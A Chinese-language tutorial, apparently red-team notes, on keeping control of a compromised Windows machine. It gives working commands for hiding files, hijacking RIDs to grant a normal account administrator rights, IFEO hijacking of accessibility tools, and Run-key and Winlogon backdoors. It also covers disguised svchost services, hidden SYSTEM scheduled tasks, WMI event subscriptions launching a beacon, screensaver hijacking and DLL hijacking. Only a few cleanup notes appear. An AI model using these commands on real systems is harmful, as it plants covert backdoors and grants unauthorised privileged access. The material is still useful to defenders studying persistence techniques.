前言

在攻击者利用漏洞获取到某台机器的控制权限之后,会考虑将该机器作为一个持久化的据点,种植一个具备持久化的后门,从而随时可以连接该被控机器进行深入渗透。最主要就是想一些办法让我们的后门能够自主执行从而让我们一直拥有目标主机的权限,很多操作也类似于权限提升

Windows权限维持

文件特性

attrib

1
attrib +s +a +h +r c:\test

s:设置系统属性(System) a:设置存档属性(Archive) h:设置隐藏属性(Hidden)

r:设置只读属性(Read-only)

查看:

1
dir /a

image-20251208202716031

重新显示

1
attrib -s -a -h -r c:\test

系统图标隐藏

把文件重命名为 我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}

这样,图标变成了我的电脑,双击也只会到达我的电脑

此时,只能使用命令行查看和访问该文件夹:

image-20251208203237613

常用文件名

1
2
3
4
5
6
我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
回收站.{645ff040-5081-101b-9f08-00aa002f954e}
拔号网络.{992CFFA0-F557-101A-88EC-00DD010CCC48}
打印机.{2227a280-3aea-1069-a2de-08002b30309d}
控制面板.{21ec2020-3aea-1069-a2dd-08002b30309d}
网上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}

畸形名称

创建文件名称为 test...\ 显示名称是 test...

这个文件可以看到,但是不能访问内部文件,也不能删除

image-20251208203903221

删除方式

1
rd /s /q c:\test...\
  • /s 表示递归地删除指定目录及所有子目录中的文件。
  • /q 表示安静模式,即不提示确认直接删除。

驱动级文件隐藏

系统盘中存在以下文件:

1
2
3
4
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

用Easy File Locker来实现

可以使文件不会显示,不能通过列目录列出来,也不能删除,只有知道完整路径,才可以读取文件内容:

该软件还可以设置密码,启动、修改设置、卸载及重复安装的时候都需要密码,主界面、卸载程序等都可以删除,只留下核心的驱动文件就行

删除方式

  • 查询服务状态:sc qc xlkfs
  • 停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
  • 删除服务: sc delete xlkfs
  • 删除系统目录下面的文件,重启系统,确认服务已经被清理了

篡改非特权账户

RID劫持

权限要求:无需提权

创建用户的时候,会为其分配一个名为Relative ID (RID) 的标识符。RID 只是一个数字标识符,表示整个系统中的用户

用户登陆时,LSASS进程从SAM注册表配置单元中获取用户的RID,并创建与该RID相关联的访问令牌,如果我们可以篡改注册表值,就能将同一个RID关联到两个账户,使得Windows将管理员访问令牌分配给非特权用户

在任何Windows系统当中,默认管理员账户的 RID = 500,普通用户的RID通常为>=1000

通过以下命令查找为任何用户分配的RID

1
Get-CimInstance -ClassName Win32_UserAccount | Select-Object Name, SID

image-20251209112725006

RID 是 SID 的最后一位(Armay 为 1000,管理员为 500)。SID 是一个标识符,它允许操作系统跨域识别用户,但对于此任务,我们不会过多考虑它的其余部分

现在我们只需要将 RID=500 分配给 Armay。为此,我们需要使用 Regedit 访问 SAM。SAM 仅限于 SYSTEM 帐户,因此即使是管理员也无法对其进行编辑。要以 SYSTEM 方式运行 Regedit,我们将使用 psexec,它在您的机器上可用:C:\tools\pstools

1
2
cd C:\tools\PSTools
.\PsExec64.exe -i 4 -s "C:\Windows\regedit.exe"

从 Regedit,我们将转到计算机中每个用户都有一个密钥的位置。由于我们想要修改 Armay,因此我们需要搜索一个 RID(十六进制 (1000 = 0x3E8)的密钥。在相应的 key 下,将有一个名为 F 的值,该值保存位置 0x30 处的用户有效 RID:HKLM\SAM\SAM\Domains\Account\Users\

现在,我们将这两个字节替换成十六进制的Administrator RID(500 = 0x01F4),并切换字节 (F401)

RID2

将这两个字节替换成十六进制的Administrator RID(500 = 0x01F4),并切换字节 (F401)

当我们用Armay登录时,LSASS(负责管理用户登录认证、IP安全策略及ISAKMP/Oakley (IKE)协议实现)会将其与管理员相同的RID相关联,并且赋予他们同等的权限

系统后门

辅助功能镜像劫持

权限要求:管理员

常见的辅助功能

1
2
3
4
5
6
7
C:\Windows\System32\sethc.exe    粘滞键    快捷键:按五次 shift 键

C:\Windows\System32\utilman.exe 设置中心 快捷键:Windows+U 键

C:\Windows\System32\osk.exe 屏幕键盘

C:\Windows\System32\Magnify.exe 放大镜 快捷键:Windows+加减号

早期只需要进行文件替换,如将sethc.exe替换为cmd.exe

在Windows Vista 和 Windows Server 2008 及更高的版本中,替换文件受到保护,因此需要进行映像劫持(Windows内设的用来调试程序的功能,Windows注册表中存在映像劫持子键(Image File Execution Options)。)

双击运行程序时,系统会查询IFEO注册表,如果发现与程序名相同的子键,便会查询子键中”debugger”键值名,若不为空,系统会把debugger参数中对应的程序文件名作为用户试图启动的程序执行请求来处理。

实现最简单的操作就是修改注册表

以设置中心utilman.exe为例:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option中添加 utilman.exe 项,在此项中添加 debugger 键,键值为要启动的程序路径。对应的cmd命令如下:

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\test.bat" /f

image-20251209160918972

检测及清除办法:

检查HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option注册表路径中的程序名称及键值。

启动项/服务后门

开始菜单启动项

权限要求:无需提权

最常用也是最简单的权限维持,放在该目录下的程序或快捷方式会在用户登录时自动运行

NT6以前:

1
2
3
4
对当前用户有效:
C:\Documents and Settings\Hunter\「开始」菜单\程序\启动
对所有用户有效:
C:\Documents and Settings\All Users\「开始」菜单\程序\启动

NT6以后:

1
2
3
4
对当前用户有效:
C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
对所有用户有效:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

相关键值:

1
2
3
4
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserShell Folders 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
启动项注册表后门

权限要求:无需提权

最常见的在启动项注册表键值添加一个新的键值类型为REG_SZ,数据项中添写需要运行程序的路径即可以启动,此类操作一些较为敏感容易被本地AV拦截,目前也是较为常见的一种方式。

Windows在注册表中提供了两套独立的路径,一个是上面提到的当前用户的“HKEY_CURRENT_USER”即“HKCU”(改动不需要管理员权限),另一个就是针对当前用户物理状态的“HKEY_LOCAL_MACHINE”即“HKLM”,仅有特权账户可以对其进行修改。

随着安全意识的提高,目前在红队中搞到的Windows大多都是降权的。特别是钓鱼得到的PC机提权的意义不大,因为即使提权写了Administrator的启动项,用户下一次登录也还是进自己的账户,持久化就白做了

Windows下所有的注册键:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
1.Load注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load

2.Userinit注册键
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
通常该注册键下面有一个userinit.exe。该键允许指定用逗号分隔的多个程序,如userinit.exe,evil.exe。

3.Explorer\Run注册键
Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。

4.RunServicesOnce注册键
RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序,在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\RunServicesOnce

5.RunServices注册键
RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\RunServices

6.RunOnce\Setup注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup

7.RunOnce注册键
安装程序通常用RunOnce键自动运行程序,它的位置在
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
[小于NT6]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前;HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。

8.Run注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Run是自动运行程序最常用的注册键,HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前。

写入注册键命令如下:

1
reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe"

例如:

1
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run   /v "Keyname" /t REG_SZ /d "C:\test.bat" /f
服务

权限要求:未降权的管理员权限

创建服务是需要非降权管理员权限的,因此拿到shell后要用这种方法做维持首先要提权,但其优点是隐蔽性比注册键高(如用svchost的服务组加载DLL就可以隐藏掉恶意进程)

cmd拉起

CMD和Powershell都可以用命令添加服务,样例如下:

1
sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto" obj= "LocalSystem"

这里值得注意的是:shellcodeloader主线程会阻塞导致服务启动时认为程序无响应而失败,因此必须用cmd拉起来,不能直接创建服务

服务正常启动后进程以SYSTEM权限在用户登录前运行,但缺点也很明显,恶意进程还是独立存在的,任务管理器就能看见,隐蔽性较差

svchost启动

这种方法更加隐蔽,由于Windows系统中的许多服务都是通过注入到该程序中启动(这也是官方认可的DLL注入动作),因此只要DLL本身免杀,杀毒软件就不会理会这种行为,并且由于恶意进程并不是独立存在的,隐蔽性相对较高

但这个方法就没办法一行命令完成,不仅需要自己做一个服务DLL,还需要额外在注册表中添加一些东西。由于64位系统有两套注册表和两套svchost,因此命令还有微小的不同

  • 32位:

    1
    2
    3
    4
    5
    6
    sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
    reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:32
    reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:32
    reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:32
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:32
    sc start TimeSync
  • 64位:

    1
    2
    3
    4
    5
    6
    sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
    reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:64
    reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:64
    reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:64
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:64
    sc start TimeSync

注意:使用“reg add”命令向注册表键中添加数据的时候是直接覆盖的,而“HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost”中的大多数的键都是REG_MULTI_SZ类型,即多行数据。因此千万不能直向已经存在的键中写入数据,系统启动所需要的服务都在里面,覆盖后会出大问题!(所以上面命令中是用的“netsvr”,这个键默认是不存在的)

计划任务

权限要求:未降权的管理员权限/普通用户

不同于自启注册键和服务项,计划任务的设定方式更多样、灵活,位置也相对较为隐蔽(手工排查要多点几下)

通过 Win+R taskschd.msc打开

Windows实现定时任务主要有schtasks与at二种方式,通过计划任务

At 适用于windows xp/2003,Schtasks适用于win7/2008+

Windows中有命令“SCHTASKS”用来管理计划任务,支持下面几个选项:

1
SCHTASKS /parameter [arguments]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
参数列表:
/Create 创建新计划任务。

/Delete 删除计划任务。

/Query 显示所有计划任务。

/Change 更改计划任务属性。

/Run 按需运行计划任务。

/End 中止当前正在运行的计划任务。

/ShowSid 显示与计划的任务名称相应的安全标识符。

/? 显示此帮助消息。

示例:

1
schtasks /create /sc minute /mo 5   /tn "chrome" /tr c:\test.bat

在持久化过程中比较常用的命令是Create,由于参数相对较多因此复制到下面做参考:

1
2
3
4
5
SCHTASKS /Create [/S system [/U username [/P [password]]]]
[/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
[/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
参数列表:
/S system 指定要连接到的远程系统。如果省略这个
系统参数,默认是本地系统。

/U username 指定应在其中执行 SchTasks.exe 的用户上下文。

/P [password] 指定给定用户上下文的密码。如果省略则
提示输入。

/RU username 指定任务在其下运行的“运行方式”用户
帐户(用户上下文)。对于系统帐户,有效
值是 ""、"NT AUTHORITY\SYSTEM" 或
"SYSTEM"。
对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和
"NT AUTHORITY\NETWORKSERVICE"以及常见的 SID
对这三个也都可用。

/RP [password] 指定“运行方式”用户的密码。要提示输
入密码,值必须是 "*" 或无。系统帐户会忽略该
密码。必须和 /RU 或 /XML 开关一起使用。

/RU/XML /SC schedule 指定计划频率。
有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、
MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.

/MO modifier 改进计划类型以允许更好地控制计划重复
周期。有效值列于下面“修改者”部分中。

/D days 指定该周内运行任务的日期。有效值:
MON、TUE、WED、THU、FRI、SAT、SUN
和对 MONTHLY 计划的 1 - 31
(某月中的日期)。通配符“*”指定所有日期。

/M months 指定一年内的某月。默认是该月的第一天。
有效值: JAN、FEB、MAR、APR、MAY、JUN、
JUL、 AUG、SEP、OCT、NOV 和 DEC。通配符
“*” 指定所有的月。

/I idletime 指定运行一个已计划的 ONIDLE 任务之前
要等待的空闲时间。
有效值范围: 1999 分钟。

/TN taskname 指定唯一识别这个计划任务的名称。

/TR taskrun 指定在这个计划时间运行的程序的路径
和文件名。
例如: C:\windows\system32\calc.exe

/ST starttime 指定运行任务的开始时间。
时间格式为 HH:mm (24 小时时间),例如 14:30 表示
2:30 PM。如果未指定 /ST,则默认值为
当前时间。/SC ONCE 必需有此选项。

/RI interval 用分钟指定重复间隔。这不适用于
计划类型: MINUTE、HOURLY、
ONSTART, ONLOGON, ONIDLE, ONEVENT.
有效范围: 1 - 599940 分钟。
如果已指定 /ET 或 /DU,则其默认值为
10 分钟。

/ET endtime 指定运行任务的结束时间。
时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM

这不适用于计划类型: ONSTART、
ONLOGON, ONIDLE, ONEVENT.

/DU duration 指定运行任务的持续时间。
时间格式为 HH:mm。这不适用于 /ET 和
计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT.
对于 /V1 任务,如果已指定 /RI,则持续时间默认值为
1 小时。

/K 在结束时间或持续时间终止任务。
这不适用于计划类型: ONSTART、
ONLOGON, ONIDLE, ONEVENT.
必须指定 /ET 或 /DU。

/SD startdate 指定运行任务的第一个日期。
格式为 yyyy/mm/dd。默认值为
当前日期。这不适用于计划类型: ONCE、
ONSTART, ONLOGON, ONIDLE, ONEVENT.

/ED enddate 指定此任务运行的最后一天的日期。
格式是 yyyy/mm/dd。这不适用于计划类型:
ONCE、ONSTART、ONLOGON、ONIDLE。

/EC ChannelName 为 OnEvent 触发器指定事件通道。

/IT 仅有在 /RU 用户当前已登录且
作业正在运行时才可以交互式运行任务。
此任务只有在用户已登录的情况下才运行。

/NP 不储存任何密码。任务以给定用户的身份
非交互的方式运行。只有本地资源可用。

/Z 标记在最终运行完任务后删除任务。

/XML xmlfile 从文件的指定任务 XML 中创建任务。
可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含
主体时单独使用 /RP。

/V1 创建 Vista 以前的平台可以看见的任务。
不兼容 /XML。

/F 如果指定的任务已经存在,则强制创建
任务并抑制警告。

/RL level 为作业设置运行级别。有效值为
LIMITED 和 HIGHEST。默认值为 LIMITED。

/DELAY delaytime 指定触发触发器后延迟任务运行的
等待时间。时间格式为
mmmm:ss。此选项仅对计划类型
ONSTART, ONLOGON, ONEVENT.

/? 显示此帮助消息。

修改者: 按计划类型的 /MO 开关的有效值:
MINUTE: 1 到 1439 分钟。
HOURLY: 1 - 23 小时。
DAILY: 1 到 365 天。
WEEKLY: 1 到 52 周。
ONCE: 无修改者。
ONSTART: 无修改者。
ONLOGON: 无修改者。
ONIDLE: 无修改者。
MONTHLY: 1 到 12,或
FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY

ONEVENT: XPath 事件查询字符串。
示例:
==> 在远程机器 "ABC" 上创建计划任务 "doc",
该机器每小时在 "runasuser" 用户下运行 notepad.exe

SCHTASKS /Create /S ABC /U user /P password /RU runasuser
/RP runaspassword /SC HOURLY /TN doc /TR notepad

==> 在远程机器 "ABC" 上创建计划任务 "accountant",
在指定的开始日期和结束日期之间的开始时间和结束时间内,
每隔五分钟运行 calc.exe

SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
/MO 5 /TN accountant /TR calc.exe /ST 12:00 /ET 14:00
/SD 06/06/2006 /ED 06/06/2006 /RU runasuser /RP userpassword

==> 创建计划任务 "gametime",在每月的第一个星期天
运行“空当接龙”。

SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime
/TR c:\windows\system32\freecell

==> 在远程机器 "ABC" 创建计划任务 "report",
每个星期运行 notepad.exe

SCHTASKS /Create /S ABC /U user /P password /RU runasuser
/RP runaspassword /SC WEEKLY /TN report /TR notepad.exe

==> 在远程机器 "ABC" 创建计划任务 "logtracker",
每隔五分钟从指定的开始时间到无结束时间,
运行 notepad.exe。将提示输入 /RP
密码。

SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE
/MO 5 /TN logtracker
/TR c:\windows\system32\notepad.exe /ST 18:30
/RU runasuser /RP

==> 创建计划任务 "gaming",每天从 12:00 点开始到
14:00 点自动结束,运行 freecell.exe

SCHTASKS /Create /SC DAILY /TN gaming /TR c:\freecell /ST 12:00
/ET 14:00 /K
==> 创建计划任务“EventLog”以开始运行 wevtvwr.msc
只要在“系统”通道中发布事件 101

SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT
/EC System /MO *[System/EventID=101]
==> 文件路径中可以加入空格,但需要加上两组引号,
一组引号用于 CMD.EXE,另一组用于 SchTasks.exe。用于 CMD
的外部引号必须是一对双引号;内部引号可以是一对单引号或
一对转义双引号:
SCHTASKS /Create
/tr "'c:\program files\internet explorer\iexplorer.exe'
\"c:\log data\today.xml\"" ...

为了确保隐蔽性,我们也可以遵守Windows默认的规范在“\Microsoft\Windows\”下面新建我们的子目录和计划任务。示例命令如下:

1
SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe

这种情况无需用户登录即可收到反向连接

也可以和bitsadmin联动实现无文件后门:

1
"%WINDIR%\system32\bitsadmin.exe /resume \"chrome\""

注意:SCHTASKS命令功能并不完整,很多配置项是无法操作的,比如不支持同时创建多个触发器,不支持修改“条件”和“设置”选项卡中的功能,很多选项需要GUI来配置

因此对于红队来说此方法效率稍低,并不能完全依赖

事件触发执行

WMI

权限要求:未降权的管理员权限

我们可以认为WMI是一组可以直接与Windows操作系统交互的API,由于这是操作系统自带的工具,无需安装,因此也是权限维持的好帮手。
由于WMI的事件会循环执行,为确保不会无限弹shell,可以使用系统启动时间来限制(只要触发延时可以落在限定区间即可,有些机器启动慢因此起始时间调高些)。示例命令如下:

1
2
3
4
5
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer", ExecutablePath="C:\Users\hunter\Desktop\beacon.exe",CommandLineTemplate="C:\Users\hunter\Desktop\beacon.exe"

wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"evil\"", Consumer="CommandLineEventConsumer.Name=\"evilConsumer\""

从 Windows 11 22H2 及更高版本开始,Microsoft 已弃用并移除了 WMIC 工具。

powershell替代命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 1. 创建过滤器
$Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property @{
Name = 'evil'
EventNameSpace = 'root/cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"
}

# 2. 创建消费者
$Consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property @{
Name = 'evilConsumer'
ExecutablePath = 'C:\Users\hunter\Desktop\beacon.exe'
CommandLineTemplate = 'C:\Users\hunter\Desktop\beacon.exe'
}

# 3. 创建绑定
$Binding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property @{
Filter = [Ref] $Filter
Consumer = [Ref] $Consumer
}

清理命令:

1
2
Get-CimInstance -Namespace root/subscription -ClassName __EventFilter -Filter "Name='evil'" | Remove-CimInstance
Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Filter "Name='evilConsumer'" | Remove-CimInstance
屏幕保护

权限要求:普通用户。

屏幕保护程序的相关配置都在注册表中,如下图的四个键:(我自己电脑只找到一个键,不知道是不是因为没装过屏保的原因)

image-20251210134449127

完整路径如下:

1
2
3
4
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE

直接写入注册表即可:

1
2
3
4
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f

如果从未设置过屏保程序的话,除“ScreenSaveActive”默认值为1,其他键都是不存在的,而屏保程序的正常运行必须保证这几个键都有数据才可以,因此必须把4个键都重写一遍。另外,经测试屏保程序最短触发时间为60秒,即使改成小于60的数值,依然还是60秒后执行程序。
当然,从注册表路径也可以看出这种方式只能获得当前用户权限的shell,优点是不需要提权即可维持。

DLL劫持

权限要求:提权至administrator

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,进而持久化控制。

因为调⽤ LoadLibrary 时可以使⽤DLL的相对路径,这时,系统会按照特定的顺序搜索⼀ 些⽬录,以确定DLL的完整路径。根据MSDN⽂档的约定,在使⽤相对路径调⽤ LoadLibrary (同样适 ⽤于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的 DLL⽂件(会根据SafeDllSearchMode配置⽽稍有不同)。

  1. 程序所在⽬录
  2. 加载 DLL 时所在的当前⽬录
  3. 系统⽬录即 SYSTEM32 ⽬录
  4. 16位系统⽬录即 SYSTEM ⽬录
  5. Windows⽬录
  6. PATH环境变量中列出的⽬录

dll劫持就发⽣在系统按照顺序搜索这些特定⽬录时。只要⿊客能够将恶意的DLL放在优先于正常DLL所在的⽬录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”

在win7及win7以上系统增加了KnownDLLs保护,需要在如下注册表下添加dll才能顺利劫持:

1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls

image-20251210174449530

构造劫持hacker.dll需要和原dll函数具有相同的导出表,在初始化函数中加入我们要执行的代码,这样调用时会执行插入的后门代码。